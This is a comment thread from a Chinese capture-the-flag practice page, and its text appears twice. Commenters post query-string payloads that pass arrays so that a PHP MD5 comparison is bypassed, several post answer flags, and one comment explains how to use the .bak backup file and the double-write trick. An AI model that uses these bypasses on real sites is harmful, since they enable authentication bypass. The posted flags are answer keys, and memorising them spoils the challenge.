/?kekeyy1[ ]=1&kekeyy2[ ]=2
?kekeyy1[]=1&kekeyy2[]=2
flag{0f28878e85879318a8010295ff54d826}
flag{317bc794880a9a4f4fc655854681b30e}
?kekeyy1[]=1&&kekeyy2[]=2
flag{31fc8cfd1ad450fd7f8f791a37d1ec67}
?kekeyy1[]=aa&kekeyy2[]=bb
?kekeyy=%20&kkeyey2=
flag{d41d8cd98f00b204e9800998ecf8427e}
index.php.bak得到备份文件,双写绕过key的截取。利用MD5传入参数为数组时会返回false来绕过==,该方式还可绕过===。/?kekeyy1[0]=hh&kekeyy2[0]=kk
...
评论
Roninx 1年前
举报
/?kekeyy1[ ]=1&kekeyy2[ ]=2
1284616752 1年前
举报
?kekeyy1[]=1&kekeyy2[]=2
昔年科技 1年前
举报
flag{0f28878e85879318a8010295ff54d826}
wxy1343 1年前
举报
flag{317bc794880a9a4f4fc655854681b30e}
ryl123569 1年前
举报
?kekeyy1[]=1&&kekeyy2[]=2
theshe 1年前
举报
flag{31fc8cfd1ad450fd7f8f791a37d1ec67}
yuanyipaceandlove 1年前
举报
?kekeyy1[]=aa&kekeyy2[]=bb
yjn5418 1年前
举报
?kekeyy=%20&kkeyey2=
18146714063 1年前
举报
flag{d41d8cd98f00b204e9800998ecf8427e}
你呀你ii 1年前
举报
index.php.bak得到备份文件,双写绕过key的截取。利用MD5传入参数为数组时会返回false来绕过==,该方式还可绕过===。/?kekeyy1[0]=hh&kekeyy2[0]=kk